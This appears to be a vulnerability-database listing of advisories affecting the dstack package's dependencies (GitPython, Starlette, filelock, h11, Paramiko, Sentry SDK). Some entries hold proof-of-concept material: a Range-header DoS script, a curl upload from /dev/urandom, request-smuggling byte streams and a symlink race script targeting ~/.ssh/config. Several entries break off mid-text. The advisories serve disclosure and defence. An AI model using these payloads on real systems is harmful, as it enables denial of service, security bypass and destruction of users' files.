Threats affecting pkg:brew/dstack
34 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 7.1 | EPSS 0.3% | High7.1EPSS 0.3%GCVE DatabaseCVE-2026-110855 ### Summary `Repo._clone()`'s handling of `separate_git_dir` never disables `Git.polish_url()`'s environment-variable expansion, unlike every other caller of that helper that handles attacker-influenced data. Since `separate_git_dir` can be derived from an attacker-controlled `.gitmodules` submodule name, a completely ordinary `clone` + `submodule_update(init=True, recursive=True)` on a malicious repository expands an environment variable of the attacker's choosing and exposes its value both as a persistent on-disk directory name and, whenever DEBUG-level logging is enabled (a common CI/verbose-logging configuration), in a `Popen(...)` log line that is not redacted the way credential-bearing arguments are. ### Root cause / Details `git/repo/base.py`'s `_clone()` has: ```python sep_dir = kwargs.get("separate_git_dir") if sep_dir: kwargs["separate_git_dir"] = Git.polish_url(sep_dir) ``` This is the only remaining `Git.polish_url()` call site handling attacker-influenced data that does not pass `expand_vars=False` (there is one other unguarded call site, `clone_path` at line 1537, but its input is the caller's own local destination path, not attacker-controlled). The sibling fixes for `GHSA-94p4-4cq8-9g67`/`GHSA-rwj8-pgh3-r573` added `expand_vars=False` to `clone_url` (5 lines below this one, in the same function), `git/repo/base.py:1599`, `remote.py:814`, and `submodule/base.py:686` — this one did not receive it. (`submodule/root.py` also currently sets `expand_vars=False` at a related call site, but that was added incidentally by a later, unrelated commit, not as part of these security fixes.) `Git.polish_url()`'s docstring itself says: "Disable this for values obtained from an untrusted source, such as remote URLs." Its non-Cygwin branch does plain `os.path.expandvars()` on the entire string, including embedded variables anywhere in an absolute path. `separate_git_dir` reaches `_clone()` from `Submodule._clone_repo()` (`git/objects/submodule/base.py`) as `module_abspath = osp.join(parent_repo.git_dir, "modules", name)`, where `name` is the raw `.gitmodules` submodule section name — fully attacker-controlled content of a cloned repository. `_validated_name()` (added by the fix for `GHSA-hmq2-w58f-27jc`) only rejects names that are absolute, contain a drive letter, or contain `..` path components; it does not reject `$`. `_need_gitfile_submodules()` is true for git ≥ 1.7.5, i.e. the default path for virtually every real-world installation. ### Reproduction (live, against real, unmodified GitPython code, no monkeypatching) Built a hostile repository with a plain, ordinary git command: `git submodule add --name '$GPY_SECRET_MARKER' ../evil_submodule sub`. Set an environment variable in the "victim" process (standing in for a real CI secret such as `AWS_SECRET_ACCESS_KEY`): `GPY_SECRET_MARKER=AKIA_TOTALLY_FAKE_BUT_SECRET_LOOKING_VALUE_12345`. Then ran the exact ordinary workflow the `GHSA-hmq2-w58f-27jc` advisory's own PoC also uses: ```python repo = Repo.clone_from(evil_parent_url, victim_clone_dir) repo.submodule_update(init=True, recursive=True) ``` Observed result (`ls .git/modules/`): ``` .git/modules/AKIA_TOTALLY_FAKE_BUT_SECRET_LOOKING_VALUE_12345/ (a full git repo: HEAD, config, objects/, refs/, hooks/) ``` The literal `$GPY_SECRET_MARKER`-named directory was never created — only the expanded one exists, proving expansion happened before the value reached the `git clone --separate-git-dir=...` subprocess argument. The persistent, expanded-name directory under `.git/modules/` is itself the primary disclosure channel — it survives on disk for as long as the clone does. A second, independent channel: with the `git.cmd`/`git.repo.base` loggers at DEBUG level (a common CI/verbose-logging setting, not requiring any special flag), GitPython's own `Popen(...)` debug log line prints the fully expanded `--separate-git-dir=<value>` subprocess argument verbatim — `remove_password_if_present()` only redacts URL passwords/Authorization headers, not path-style arguments like this one, so the expanded value is not scrubbed. (The call also fails downstream with an `OSError`/`FileNotFoundError` referencing the original, unexpanded name, since `_write_git_file_and_module_config()` looks for a directory using the pre-expansion name — but that error message itself does not contain the expanded/secret value.) **Control**: the same call with an ordinary (no `$`) submodule name succeeds normally and creates `.git/modules/<name>` as expected — isolating the gap to submodule names containing environment-variable syntax specifically. ### Already-known check Checked all 35 published `gitpython-developers/GitPython` security advisories in full text. `GHSA-hmq2-w58f-27jc` covers the same `name` → `.git/modules/<name>` path but for path-traversal (`../../..`), not variable expansion. `GHSA-59cr-6r3x-644w` covers the sibling `path` field reaching unguarded `os.makedirs()`. `GHSA-94p4-4cq8-9g67`/`GHSA-rwj8-pgh3-r573` co | GCVE Database | ||
| High | 7.5 | EPSS 0.5% | CVE-2026-54283Starlette · request.form() limits silently ignored for application/x-www-form-urlencoded enable DoS High7.5EPSS 0.5%GCVE DatabaseCVE-2026-54283 ### Summary `request.form()` accepts `max_fields` and `max_part_size` to bound resource consumption while parsing form data. These limits are enforced for `multipart/form-data`, but silently ignored for `application/x-www-form-urlencoded`. An unauthenticated attacker can therefore send a urlencoded body with an arbitrarily large number of fields or an arbitrarily large field, even when the application configured limits it believed would apply. ### Details `request.form()` dispatches to a different parser depending on the `Content-Type`. For `multipart/form-data` the `max_files`, `max_fields`, and `max_part_size` limits are forwarded to the parser, but for `application/x-www-form-urlencoded` the parser is constructed without them. It has no `max_fields` or `max_part_size` parameter to receive them, and it appends every field with no count check and accumulates each field's name and value with no size check. The configured limits are therefore both unreachable and unenforced for url-encoded bodies. Because the url-encoded parser does its work synchronously between stream reads, the two attack shapes have different effects: - **Field count** drives CPU and event-loop blocking. A body of ~1,000,000 fields (a sub-10MB payload such as `f0=v&f1=v&...`) blocks the worker's event loop for several seconds while parsing, during which the worker serves no other request. - **Field size** drives memory. A single large field value (e.g. a 50MB value) is buffered in full to build the `FormData`, forcing memory allocation proportional to the request body. The equivalent `multipart/form-data` request is correctly rejected with `400 Too many fields` / `400 Field exceeded maximum size`. ### Impact This Denial of service (DoS) vulnerability affects all applications built with Starlette (or FastAPI) that call `request.form()` on `application/x-www-form-urlencoded` requests. A single request with a very large number of fields blocks the event loop for several seconds, and a single request with a very large field forces unbounded memory allocation; in either case, parallel requests can render the service unusable. A reverse proxy that enforces a request body size limit reduces but does not eliminate the exposure, since a sub-10MB body is already enough to block the event loop. ### Mitigation Upgrade to a patched version, which forwards `max_fields` and `max_part_size` to the url-encoded parser and enforces them while parsing, raising before the oversized field or excess fields are accumulated. The defaults match `multipart/form-data` (`max_fields=1000`, `max_part_size=1MB`) and can be customized via `request.form(max_fields=..., max_part_size=...)`. | GCVE Database | ||
| Low | 3.7 | EPSS 0.3% | CVE-2026-54282Starlette · Unvalidated request path concatenated into authority poisons request.url.hostname Low3.7EPSS 0.3%GCVE DatabaseCVE-2026-54282 ### Summary In affected versions, the HTTP request path is not validated before being used to reconstruct `request.url`. Because `request.url` is rebuilt by concatenating `{scheme}://{host}{path}` and re-parsing the result, a path that does not begin with `/` (for example `@google.com`) moves the authority boundary during re-parsing, so `request.url.hostname` and `request.url.netloc` become attacker-controlled. Code that reads `request.url.hostname` (rather than the `Host` header or `scope`) can therefore be misled into trusting an attacker-supplied host. ### Details When a client requests a path that does not start with `/`: ```http GET @google.com HTTP/1.1 Host: localhost ``` affected versions reconstruct the URL as `http://localhost@google.com`. Per [RFC 3986 §3.2.1](https://www.rfc-editor.org/rfc/rfc3986.html#section-3.2.1), the substring before `@` in the authority is `userinfo`, so re-parsing yields `username = "localhost"` and `hostname = "google.com"`, with an empty path: ```text request.url == "http://localhost@google.com" request.url.hostname == "google.com" request.url.path == "" ``` The root cause is that the path is concatenated directly after the host without a separating `/`, and without validating that it begins with one. Only the `Host` header was validated when constructing `request.url`; the path was not. This requires an ASGI server that forwards a request-target lacking a leading `/` into `scope["path"]`. ### Impact Any application running an affected version that uses `request.url`, `request.url.netloc`, or `request.url.hostname` for a security-sensitive decision (host-based authorization, redirect/callback base, SSRF target, cache key, audit log) may be affected, when no fronting proxy or load balancer rejects the malformed request-target first. Note that this is less exploitable than [GHSA-86qp-5c8j-p5mr](https://github.com/Kludex/starlette/security/advisories/GHSA-86qp-5c8j-p5mr): there, the poison is carried in the `Host` header, so the real path still routes to a valid endpoint while `request.url.path` lies. Here, the poison must be carried in the path itself, and that path (`@google.com`) does not match any registered route, so routing returns `404` and no endpoint handler runs. The exposure is limited to code that reads `request.url` before routing - notably middleware - or in 404/exception handlers. ### Mitigation Upgrade to a patched version, which prevents the request path from crossing into the URL authority. The request above instead yields `http://localhost/@google.com` with `request.url.hostname == "localhost"`. | GCVE Database | ||
| Medium | 5.3 | EPSS 0.2% | CVE-2026-48817Starlette · Arbitrary HTTP method dispatched to `HTTPEndpoint` attributes via `getattr` Medium5.3EPSS 0.2%GCVE DatabaseCVE-2026-48817 ### Summary When dispatching a request, `HTTPEndpoint` selects the handler by lowercasing the HTTP method and looking it up as an attribute with `getattr`, without restricting the lookup to a known set of HTTP verbs. When an `HTTPEndpoint` subclass is registered through `Route(...)` without an explicit `methods=` argument, the route does not constrain the method and every method reaches the endpoint. If a non-standard HTTP method whose lowercased name matches an attribute on the endpoint subclass reaches the endpoint, that attribute is invoked as if it were a request handler. An attacker can use this to reach methods that were never meant to be HTTP handlers, such as internal helpers, without the authorization checks applied by the intended public handler. ### Details `HTTPEndpoint` uses the client-supplied method name to resolve an instance attribute, without validating it against the set of HTTP verbs the endpoint supports. A method such as `_DO_DELETE` therefore resolves an attribute like `_do_delete` and invokes it. Non-standard methods are valid [RFC 9110](https://www.rfc-editor.org/rfc/rfc9110#name-method) token methods, so an endpoint must not treat the method name as a trusted attribute selector. ### Impact An application is affected when all of the following hold: * It defines an `HTTPEndpoint` subclass and registers it via `Route(...)` without an explicit `methods=` argument. * The subclass defines additional methods whose names match a non-standard HTTP-method token shape and that accept a single `request` argument and return a response. This also affects frameworks built on Starlette, like FastAPI. ### Mitigation Register `HTTPEndpoint` subclasses with an explicit `methods=` argument on the `Route`, listing only the HTTP verbs the endpoint supports. The route then rejects any other method with `405 Method Not Allowed` before it reaches the endpoint, so non-standard methods cannot resolve an attribute. | GCVE Database | ||
| Medium | 6.5 | KEVEPSS 70% | CVE-2026-48710Dstack: Starlette has missing Host header validation that poisons request.url.path, bypassing path-based security Medium6.5KEVEPSS 70%GCVE DatabaseCVE-2026-48710 ### Summary In affected versions, the HTTP `Host` request header was not validated before being used to reconstruct `request.url`. Because the routing algorithm relies on the raw HTTP path while `request.url` is rebuilt from the `Host` header, a malformed header could make `request.url.path` differ from the path that was actually requested. Middleware and endpoints that apply security restrictions based on `request.url` (rather than the raw `scope` path) could therefore be bypassed. ### Details When a client requests `http://example.com/foo`, it sends: ```http GET /foo HTTP/1.1 Host: example.com ``` Affected versions reconstructed the URL by concatenating `http://{host}{path}` and re-parsing the result. The `Host` value is only valid as a `uri-host [ ":" port ]` per [RFC 9112 §3.2](https://www.rfc-editor.org/rfc/rfc9112.html#section-3.2-6), where `uri-host` follows the restricted `host` grammar of [RFC 3986 §3.2.2](https://www.rfc-editor.org/rfc/rfc3986.html#section-3.2.2). When it contains characters outside that grammar - notably `/`, `?`, or `#` - those characters move the path/query/fragment boundaries during re-parsing, so the parsed `request.url.path` no longer matches the path the server actually received. For example: ```http GET /foo HTTP/1.1 Host: example.com/abc?bar= ``` reconstructs to `http://example.com/abc?bar=/foo`, whose parsed `path` is `/abc` - even though routing used the real path `/foo`. The router still dispatches to `/foo` and the endpoint executes, but any middleware or code that reads `request.url.path` sees `/abc`, so path-based authorization checks can be bypassed. ### Impact Any application running an affected version that relies on `request.url` (or `request.url.path`) for security-sensitive decisions is affected. The most common case is middleware that gates access to certain path prefixes based on `request.url.path`. Deployments fronted by a proxy or load balancer are mitigated only if that proxy rejects or normalizes the malformed `Host` header before forwarding and the application does not trust attacker-controlled host headers (e.g. `X-Forwarded-Host`) elsewhere. ### Mitigation Upgrade to a patched version, which validates the `Host` header against the grammar of [RFC 9112 §3.2](https://www.rfc-editor.org/rfc/rfc9112.html#section-3.2-6) / [RFC 3986 §3.2.2](https://www.rfc-editor.org/rfc/rfc3986.html#section-3.2.2) when constructing `request.url` and falls back to `scope["server"]` for malformed values. | GCVE Database | ||
| Low | 3.4 | EPSS 0.1% | CVE-2026-44405Dstack · Paramiko rsakey.py allows the SHA-1 algorithm Low3.4EPSS 0.1%GCVE DatabaseCVE-2026-44405 In Paramiko through 4.0.0 before a448945, rsakey.py allows the SHA-1 algorithm. | GCVE Database | ||
| High | 7.5 | EPSS 0.8% | CVE-2025-62727Dstack: Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse`` High7.5EPSS 0.8%GCVE DatabaseCVE-2025-62727 ### Summary An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`). ### Details Starlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm. ```python # starlette/responses.py _RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS class FileResponse(Response): @staticmethod def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]: ranges: list[tuple[int, int]] = [] try: units, range_ = http_range.split("=", 1) except ValueError: raise MalformedRangeHeader() # [...] ranges = [ ( int(_[0]) if _[0] else file_size - int(_[1]), int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size, ) for _ in _RANGE_PATTERN.findall(range_) # vulnerable if _ != ("", "") ] ``` The parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity. The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons. This affects any Starlette application that uses: - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) — `starlette/staticfiles.py:178` - Direct ``starlette.responses.FileResponse`` responses ### PoC ```python #!/usr/bin/env python3 import sys import time try: import starlette from starlette.responses import FileResponse except Exception as e: print(f"[ERROR] Failed to import starlette: {e}") sys.exit(1) def build_payload(length: int) -> str: """Build the Range header value body: '0' * num_zeros + '0-'""" return ("0" * length) + "a-" def test(header: str, file_size: int) -> float: start = time.perf_counter() try: FileResponse._parse_range_header(header, file_size) except Exception: pass end = time.perf_counter() elapsed = end - start return elapsed def run_once(num_zeros: int) -> None: range_body = build_payload(num_zeros) header = "bytes=" + range_body # Use a sufficiently large file_size so upper bounds default to file size file_size = max(len(range_body) + 10, 1_000_000) print(f"[DEBUG] range_body length: {len(range_body)} bytes") elapsed_time = test(header, file_size) print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n") if __name__ == "__main__": print(f"[INFO] Starlette Version: {starlette.__version__}") for n in [5000, 10000, 20000, 40000]: run_once(n) """ $ python3 poc_dos_range.py [INFO] Starlette Version: 0.48.0 [DEBUG] range_body length: 5002 bytes [DEBUG] elapsed time: 0.053932 seconds [DEBUG] range_body length: 10002 bytes [DEBUG] elapsed time: 0.209770 seconds [DEBUG] range_body length: 20002 bytes [DEBUG] elapsed time: 0.885296 seconds [DEBUG] range_body length: 40002 bytes [DEBUG] elapsed time: 3.238832 seconds """ ``` ### Impact Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header. | GCVE Database | ||
| Medium | 5.3 | EPSS 0.7% | CVE-2025-54121Dstack · Starlette has possible denial-of-service vector when parsing large files in multipart forms Medium5.3EPSS 0.7%GCVE DatabaseCVE-2025-54121 ### Summary When parsing a multi-part form with large files (greater than the [default max spool size](https://github.com/encode/starlette/blob/fa5355442753f794965ae1af0f87f9fec1b9a3de/starlette/formparsers.py#L126)) `starlette` will block the main thread to roll the file over to disk. This blocks the event thread which means we can't accept new connections. ### Details Please see this discussion for details: https://github.com/encode/starlette/discussions/2927#discussioncomment-13721403. In summary the following UploadFile code (copied from [here](https://github.com/encode/starlette/blob/fa5355442753f794965ae1af0f87f9fec1b9a3de/starlette/datastructures.py#L436C5-L447C14)) has a minor bug. Instead of just checking for `self._in_memory` we should also check if the additional bytes will cause a rollover. ```python @property def _in_memory(self) -> bool: # check for SpooledTemporaryFile._rolled rolled_to_disk = getattr(self.file, "_rolled", True) return not rolled_to_disk async def write(self, data: bytes) -> None: if self.size is not None: self.size += len(data) if self._in_memory: self.file.write(data) else: await run_in_threadpool(self.file.write, data) ``` I have already created a PR which fixes the problem: https://github.com/encode/starlette/pull/2962 ### PoC See the discussion [here](https://github.com/encode/starlette/discussions/2927#discussioncomment-13721403) for steps on how to reproduce. ### Impact To be honest, very low and not many users will be impacted. Parsing large forms is already CPU intensive so the additional IO block doesn't slow down `starlette` that much on systems with modern HDDs/SSDs. If someone is running on tape they might see a greater impact. | GCVE Database | ||
| Unrated | – | EPSS 0.7% | UnratedEPSS 0.7%GCVE DatabaseCVE-2024-47874 ### Summary Starlette treats `multipart/form-data` parts without a `filename` as text form fields and buffers those in byte strings with no size limit. This allows an attacker to upload arbitrary large form fields and cause Starlette to both slow down significantly due to excessive memory allocations and copy operations, and also consume more and more memory until the server starts swapping and grinds to a halt, or the OS terminates the server process with an OOM error. Uploading multiple such requests in parallel may be enough to render a service practically unusable, even if reasonable request size limits are enforced by a reverse proxy in front of Starlette. ### PoC ```python from starlette.applications import Starlette from starlette.routing import Route async def poc(request): async with request.form(): pass app = Starlette(routes=[ Route('/', poc, methods=["POST"]), ]) ``` ```sh curl http://localhost:8000 -F 'big=</dev/urandom' ``` ### Impact This Denial of service (DoS) vulnerability affects all applications built with Starlette (or FastAPI) accepting form requests. | GCVE Database | ||
| Medium | 5.3 | EPSS 0.2% | CVE-2024-40647Dstack · Sentry's Python SDK unintentionally exposes environment variables to subprocesses Medium5.3EPSS 0.2%GCVE DatabaseCVE-2024-40647 ### Impact The bug in Sentry's Python SDK <2.8.0 results in the unintentional exposure of environment variables to subprocesses despite the `env={}` setting. ### Details In Python's `subprocess` calls, all environment variables are passed to subprocesses by default. However, if you specifically do not want them to be passed to subprocesses, you may use `env` argument in `subprocess` calls, like in this example: ``` >>> subprocess.check_output(["env"], env={"TEST":"1"}) b'TEST=1\n' ``` If you'd want to not pass any variables, you can set an empty dict: ``` >>> subprocess.check_output(["env"], env={}) b'' ``` However, the bug in Sentry SDK <2.8.0 causes **all environment variables** to be passed to the subprocesses when `env={}` is set, unless the Sentry SDK's [Stdlib](https://docs.sentry.io/platforms/python/integrations/default-integrations/#stdlib) integration is disabled. The Stdlib integration is enabled by default. ### Patches The issue has been patched in https://github.com/getsentry/sentry-python/pull/3251 and the fix released in [sentry-sdk==2.8.0](https://github.com/getsentry/sentry-python/releases/tag/2.8.0). The fix was also backported to [sentry-sdk==1.45.1](https://github.com/getsentry/sentry-python/releases/tag/1.45.1). ### Workarounds We strongly recommend upgrading to the latest SDK version. However, if it's not possible, and if passing environment variables to child processes poses a security risk for you, there are two options: 1. In your application, replace `env={}` with the minimal dict `env={"EMPTY_ENV":"1"}` or similar. OR 2. Disable Stdlib integration: ``` import sentry_sdk # Should go before sentry_sdk.init sentry_sdk.integrations._DEFAULT_INTEGRATIONS.remove("sentry_sdk.integrations.stdlib.StdlibIntegration") sentry_sdk.init(...) ``` ### References * Sentry docs: [Default integrations](https://docs.sentry.io/platforms/python/integrations/default-integrations/) * Python docs: [subprocess module](https://docs.python.org/3/library/subprocess.html) * Patch https://github.com/getsentry/sentry-python/pull/3251 | GCVE Database | ||
| Medium | 5.3 | EPSS 0.1% | CVE-2026-22701Dstack · filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock Medium5.3EPSS 0.1%GCVE DatabaseCVE-2026-22701 ## Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ## Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ## Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ## Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ## Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ## References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@tsigouris007) | GCVE Database | ||
| Medium | 6.3 | EPSS 0.2% | CVE-2025-68146Dstack · filelock has a TOCTOU race condition which allows symlink attacks during lock file creation Medium6.3EPSS 0.2%GCVE DatabaseCVE-2025-68146 ### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ## Technical Details: How the Exploit Works ### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ### Step-by-Step Attack Flow **1. Attacker Setup:** ```python # Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") # Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock # Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE # At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix sys | GCVE Database | ||
| Critical | 9.1 | EPSS 0.6% | Critical9.1EPSS 0.6%GCVE DatabaseCVE-2025-43859 ### Impact A leniency in h11's parsing of line terminators in chunked-coding message bodies can lead to request smuggling vulnerabilities under certain conditions. ### Details HTTP/1.1 Chunked-Encoding bodies are formatted as a sequence of "chunks", each of which consists of: - chunk length - `\r\n` - `length` bytes of content - `\r\n` In versions of h11 up to 0.14.0, h11 instead parsed them as: - chunk length - `\r\n` - `length` bytes of content - any two bytes i.e. it did not validate that the trailing `\r\n` bytes were correct, and if you put 2 bytes of garbage there it would be accepted, instead of correctly rejecting the body as malformed. By itself this is harmless. However, suppose you have a proxy or reverse-proxy that tries to analyze HTTP requests, and your proxy has a _different_ bug in parsing Chunked-Encoding, acting as if the format is: - chunk length - `\r\n` - `length` bytes of content - more bytes of content, as many as it takes until you find a `\r\n` For example, [pound](https://github.com/graygnuorg/pound/pull/43) had this bug -- it can happen if an implementer uses a generic "read until end of line" helper to consumes the trailing `\r\n`. In this case, h11 and your proxy may both accept the same stream of bytes, but interpret them differently. For example, consider the following HTTP request(s) (assume all line breaks are `\r\n`): ``` GET /one HTTP/1.1 Host: localhost Transfer-Encoding: chunked 5 AAAAAXX2 45 0 GET /two HTTP/1.1 Host: localhost Transfer-Encoding: chunked 0 ``` Here h11 will interpret it as two requests, one with body `AAAAA45` and one with an empty body, while our hypothetical buggy proxy will interpret it as a single request, with body `AAAAXX20\r\n\r\nGET /two ...`. And any time two HTTP processors both accept the same string of bytes but interpret them differently, you have the conditions for a "request smuggling" attack. For example, if `/two` is a dangerous endpoint and the job of the reverse proxy is to stop requests from getting there, then an attacker could use a bytestream like the above to circumvent this protection. Even worse, if our buggy reverse proxy receives two requests from different users: ``` GET /one HTTP/1.1 Host: localhost Transfer-Encoding: chunked 5 AAAAAXX999 0 ``` ``` GET /two HTTP/1.1 Host: localhost Cookie: SESSION_KEY=abcdef... ``` ...it will consider the first request to be complete and valid, and send both on to the h11-based web server over the same socket. The server will then see the two concatenated requests, and interpret them as _one_ request to `/one` whose body includes `/two`'s session key, potentially allowing one user to steal another's credentials. ### Patches Fixed in h11 0.15.0. ### Workarounds Since exploitation requires the combination of buggy h11 with a buggy (reverse) proxy, fixing either component is sufficient to mitigate this issue. ### Credits Reported by Jeppe Bonde Weikop on 2025-01-09. | GCVE Database | ||
